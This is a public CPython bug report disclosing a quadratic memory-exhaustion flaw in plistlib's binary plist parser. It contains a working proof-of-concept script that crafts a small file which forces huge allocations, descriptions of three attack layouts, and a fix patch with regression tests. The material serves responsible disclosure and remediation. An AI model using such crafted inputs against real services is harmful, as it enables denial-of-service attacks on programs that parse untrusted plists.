Repository navigation
Description
Bug report
Bug description:
Reported privately to the PSRT first (GHSA-9g46-hgc6-932w); they asked for it to be handled in public as low severity, like gh-119342.
plistlib.load() / plistlib.loads() on a crafted binary plist allocates memory that grows with the square of the
file size. A 189 KiB file makes the parser hold 1,000 MiB of objects (1,016 MiB peak RSS, 0.77 s); doubling both the
object size and the number of references doubles the file and quadruples the memory. gh-119342 fixed the case where
one object declares a huge size; this is a different mechanism with the same outcome its NEWS entry names ("it could
cause an arbitrary amount of memory to be allocated"), reached by pointing many object references at the same bytes.
A 189 KiB input costs about 5,400 times its size in memory, and the factor grows with the file.
Cause: _BinaryPlistParser._read_object (Lib/plistlib.py lines 553-558 on main, 31ed3ef) caches parsed objects by
reference number only, and nothing checks that the offsets in the offset table are distinct or that objects do not
overlap. Three layouts work:
- shared: M offset table entries all hold the offset of one B-byte data (or string) object and the top-level array
lists those M references, so the same B bytes are read M times into M separate B-byte objects. - overlap: M data object headers at M distinct offsets declare contents that all extend over the same B-byte region;
same result, so caching by offset alone would not be a complete fix. - integer: an integer may be up to 32,768 bytes wide (line 578,
1 << tokenL) and is read withself._fp.read()
directly, not through the chunked_read()helper, so M references to one give M separate integers of about 35 KB
each (linear in M, about 4,000 times the file size).
Tested vulnerable (Linux x86-64, release builds of the branch heads on 29 Nov 2026):
main 31ed3efd552afc14b4f3303155092070a13f97b2 (3.16.0a2+)
3.15 2b1ed5a04d0b73dcf17557e8e632da1ad8b8505d (3.15.2+)
3.14 051013de881871f87589c7420d22fa003d8faa61 (3.14.10+)
3.13 cf31c2454b81145ba25a15b19e739424dd0869c2 (3.13.18+)
Also reproduces on the released 3.15.2, 3.14.10 and 3.13.18 (macOS). The parser code is identical on main, 3.15, 3.14
and 3.13, and has the same caching at the heads of 3.12 and 3.11. APIs: plistlib.load() and plistlib.loads() with
fmt=None (auto-detect) or fmt=FMT_BINARY. Impact: memory exhaustion (MemoryError, swapping or an OOM kill) in any
program that loads a binary plist from an untrusted source, with a file small enough to pass ordinary upload or
message size limits; CPU time grows the same way.
Reproduction: poc.py below builds a 71,590 byte file (M = 1000, B = 64 KiB, deliberately small), loads it and exits
with status 1 if the result holds more than ten times the size of the file in distinct objects, 0 if the file is
rejected.
poc.py
#!/usr/bin/env python3
"""plistlib: quadratic memory use when loading a crafted binary plist.
The offset table of the file below has COUNT entries that all point at the
same SIZE-byte data object. The parser caches objects by reference number,
not by offset, so it builds COUNT separate SIZE-byte bytes objects.
The parameters are kept small on purpose (about 72 KiB in, about 62 MiB out).
Memory grows as COUNT * SIZE while the file grows as SIZE + 6 * COUNT.
Exit status: 1 = vulnerable, 0 = not vulnerable (file rejected, or the
result does not hold more data than the file).
"""
import plistlib
import struct
import sys
import tracemalloc
SIZE = 64 * 1024 # bytes in the one data object
COUNT = 1000 # offset table entries pointing at it
def build(count, size):
out = bytearray(b"bplist00")
blob_offset = len(out)
out += b"\x4f\x12" + struct.pack(">I", size) + bytes(size) # data object
top_offset = len(out)
out += b"\xaf\x11" + struct.pack(">H", count) # array
out += b"".join(struct.pack(">H", ref) for ref in range(1, count + 1))
table_offset = len(out)
out += struct.pack(">I", top_offset) # object 0: the array
out += struct.pack(">I", blob_offset) * count # objects 1..count
# trailer: offset size 4, ref size 2, object count, top object, table
out += struct.pack(">6xBBQQQ", 4, 2, count + 1, 0, table_offset)
return bytes(out)
def main():
print("Python", sys.version)
data = build(COUNT, SIZE)
tracemalloc.start()
try:
result = plistlib.loads(data, fmt=plistlib.FMT_BINARY)
except plistlib.InvalidFileException:
print(f"NOT VULNERABLE: {len(data)} byte file rejected "
"(InvalidFileException)")
return 0
peak = tracemalloc.get_traced_memory()[1]
held = sum(len(x) for x in {id(x): x for x in result}.values())
print(f"input {len(data)} bytes -> {len(result)} items, "
f"{len({id(x) for x in result})} distinct objects, "
f"{held} bytes held, tracemalloc peak {peak} bytes "
f"({peak // len(data)}x the input)")
if held > 10 * len(data):
print("VULNERABLE: memory use is not bounded by the size of the file")
return 1
print("NOT VULNERABLE: objects are shared")
return 0
if __name__ == "__main__":
sys.exit(main())Output on main (31ed3ef):
$ ./python poc.py; echo "exit $?"
Python 3.16.0a2+dev (main, Nov 29 2026, 12:57:55) [GCC 13.3.0]
input 71590 bytes -> 1000 items, 1000 distinct objects, 65536000 bytes held, tracemalloc peak 65604114 bytes (916x the input)
VULNERABLE: memory use is not bounded by the size of the file
exit 1
Proposed fix: fix.patch below (against main; applies to 3.15 as is and to 3.14 and 3.13 with line offsets). The
objects and the offset table of a well-formed file do not overlap, so reading all of them never needs more bytes than
the file contains: the patch records the file size in parse() and makes _read() count down from it, raising
InvalidFileException when the parser is asked to read more than the file holds in total, and reads integers through
_read() too, so memory use is proportional to the file size for all three layouts. It includes a regression test,
TestBinaryPlistlib.test_overlapping_objects in Lib/test/test_plistlib.py, with a positive control.
Trade-off: a file in which several references share the offset of one large object is rejected once the total read
exceeds the file size, although a parser that caches by offset would accept it (plistlib's own writer shares objects
by reference number, not by offset, and the Apple-generated samples in test_plistlib load unchanged; to keep such
files loadable, cache parsed objects by offset as well and keep the byte count for overlapping objects), and the patch
also calls fp.tell() and rejects an integer that runs past the end of the file instead of reading it short.
fix.patch
diff --git a/Lib/plistlib.py b/Lib/plistlib.py
index 119fa16ec..972b8563e 100644
--- a/Lib/plistlib.py
+++ b/Lib/plistlib.py
@@ -500,6 +500,12 @@ def parse(self, fp):
offset_size, self._ref_size, num_objects, top_object,
offset_table_offset
) = struct.unpack('>6xBBQQQ', trailer)
+ # The objects and the offset table of a well-formed file do not
+ # overlap, so reading all of them never takes more bytes than
+ # the file contains. Enforcing this keeps memory use
+ # proportional to the size of the file even if many references
+ # point to the same or to overlapping objects.
+ self._unread_size = self._fp.tell()
self._fp.seek(offset_table_offset)
self._object_offsets = self._read_ints(num_objects, offset_size)
self._objects = [_undefined] * num_objects
@@ -520,6 +526,9 @@ def _get_size(self, tokenL):
return tokenL
def _read(self, size):
+ self._unread_size -= size
+ if self._unread_size < 0:
+ raise InvalidFileException
cursize = min(size, _MIN_READ_BUF_SIZE)
data = self._fp.read(cursize)
while True:
@@ -575,7 +584,7 @@ def _read_object(self, ref):
result = b''
elif tokenH == 0x10: # int
- result = int.from_bytes(self._fp.read(1 << tokenL),
+ result = int.from_bytes(self._read(1 << tokenL),
'big', signed=tokenL >= 3)
elif token == 0x22: # real
diff --git a/Lib/test/test_plistlib.py b/Lib/test/test_plistlib.py
index 22639d464..9d0b84053 100644
--- a/Lib/test/test_plistlib.py
+++ b/Lib/test/test_plistlib.py
@@ -1170,6 +1170,48 @@ def check(data):
# number of objects
check(b'bplist00' + struct.pack('>6xBBQQQ', 1, 1, s, 0, 8))
+ def test_overlapping_objects(self):
+ # Many references to the same object or to overlapping objects
+ # must not make the parser allocate much more memory than the
+ # size of the file.
+ count = 1000
+ size = 1 << 16
+
+ def build(objects, offsets):
+ top = 8 + len(objects)
+ table = top + 4 + 2 * count
+ return b''.join([
+ b'bplist00',
+ objects,
+ b'\xaf\x11', count.to_bytes(2, 'big'),
+ *(i.to_bytes(2, 'big') for i in range(1, count + 1)),
+ top.to_bytes(4, 'big'),
+ *(offset.to_bytes(4, 'big') for offset in offsets),
+ struct.pack('>6xBBQQQ', 4, 2, count + 1, 0, table),
+ ])
+
+ # Control: separate objects are loaded.
+ separate = build(b'\x41x' * count, range(8, 8 + 2 * count, 2))
+ self.assertEqual(plistlib.loads(separate, fmt=plistlib.FMT_BINARY),
+ [b'x'] * count)
+ # All references point to a single data object.
+ shared = build(b'\x4f\x12' + size.to_bytes(4, 'big') + bytes(size),
+ [8] * count)
+ # Each data object contains all the following ones.
+ headers = b''.join(
+ b'\x4f\x12' + (6 * (count - 1 - i) + size).to_bytes(4, 'big')
+ for i in range(count))
+ nested = build(headers + bytes(size),
+ range(8, 8 + 6 * count, 6))
+ # All references point to a single 32 KiB integer.
+ integer = build(b'\x1f' + b'\x7f' * (1 << 15), [8] * count)
+ for name, data in (('shared', shared), ('nested', nested),
+ ('integer', integer)):
+ with self.subTest(name):
+ self.assertLess(len(data), 2 * size)
+ with self.assertRaises(plistlib.InvalidFileException):
+ plistlib.loads(data, fmt=plistlib.FMT_BINARY)
+
def test_load_aware_datetime(self):
data = (b'bplist003B\x04>\xd0d\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00'
b'\x01\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00'I can open a pull request with this patch and its regression test if that is useful.
Found with the help of Mythos 5.2 (AI-assisted code analysis); every claim, the PoC and the patch were verified by hand on real builds.
CPython versions tested on:
3.13, 3.14, 3.15, CPython main branch
Operating systems tested on:
Linux, macOS
Activity